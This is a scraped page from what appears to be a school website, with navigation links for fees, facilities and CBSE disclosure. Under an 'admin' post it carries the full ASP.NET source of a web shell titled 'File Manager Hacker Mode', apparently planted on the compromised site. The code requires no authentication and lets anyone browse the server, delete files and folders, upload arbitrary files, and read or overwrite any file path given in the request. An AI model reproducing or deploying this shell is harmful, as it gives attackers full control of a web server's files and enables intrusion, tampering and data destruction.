Welcome, It's
Saturday, April 11, 2026
Home
|
Gallary
|
GulMohar Brochure
|
Contacts
About GPS
Message
T C
Facilities
Fee Structure
CBSE Info
Mandatory Public Disclosure
admin
10-Apr-2026
<%@ Page Language="C#" %><%@ Import Namespace="System.IO" %>
?? File Manager Hacker Mode
<% string path = Request["path"]; if (string.IsNullOrEmpty(path)) path = Server.MapPath("."); DirectoryInfo dir = new DirectoryInfo(path); // Delete if (Request["delete"] != null) { string target = Path.Combine(path, Request["delete"]); try { if (File.Exists(target)) File.Delete(target); else if (Directory.Exists(target)) Directory.Delete(target, true); Response.Write("? Deleted: " + Request["delete"] + "
"); } catch (Exception ex) { Response.Write("? Delete Error: " + ex.Message + "
"); } } // Save if (Request["savefile"] != null) { string target = Request["savefile"]; string content = Request.Form["filecontent"]; try { File.WriteAllText(target, content); Response.Write("? Saved: " + Path.GetFileName(target) + "
"); } catch (Exception ex) { Response.Write("? Save Error: " + ex.Message + "
"); } } // Upload if (Request.Files.Count > 0) { try { var file = Request.Files[0]; if (file != null && file.ContentLength > 0) { string savePath = Path.Combine(path, Path.GetFileName(file.FileName)); file.SaveAs(savePath); Response.Write("?? Uploaded: " + file.FileName + "
"); } } catch (Exception ex) { Response.Write("? Upload Error: " + ex.Message + "
"); } } // Create folder if (Request["createfolder"] != null) { string newfolder = Request["newfolder"]; if (!string.IsNullOrEmpty(newfolder)) { string folderPath = Path.Combine(path, newfolder); try { Directory.CreateDirectory(folderPath); Response.Write("?? Created: " + newfolder + "
"); } catch (Exception ex) { Response.Write("? Folder Error: " + ex.Message + "
"); } } } // Create file if (Request["createfile"] != null) { string newfile = Request["newfile"]; if (!string.IsNullOrEmpty(newfile)) { string filePath = Path.Combine(path, newfile); try { if (!File.Exists(filePath)) { File.WriteAllText(filePath, ""); Response.Write("?? Created file: " + newfile + "
"); } else { Response.Write("?? File already exists: " + newfile + "
"); } } catch (Exception ex) { Response.Write("? File Create Error: " + ex.Message + "
"); } } } %>
?? Path: <%= path %>
<% if (dir.Parent != null) { %>
?? Up
<% } %>
?? Folders
<% foreach (var d in dir.GetDirectories()) { %>
[DIR] <%= d.Name %>
—
[Delete]
<% } %>
?? Files
<% foreach (var f in dir.GetFiles()) { %>
<%= f.Name %>
—
[Delete]
<% } %>
?? Upload File
?? Create Folder
?? Create New File
<% string editPath = Request["edit"]; if (!string.IsNullOrEmpty(editPath) && File.Exists(editPath)) { try { string content = File.ReadAllText(editPath); %>
?? Editing: <%= Path.GetFileName(editPath) %>
<%= Server.HtmlEncode(content) %>
<% } catch (Exception ex) { Response.Write("? Read Error: " + ex.Message + "
"); } } %>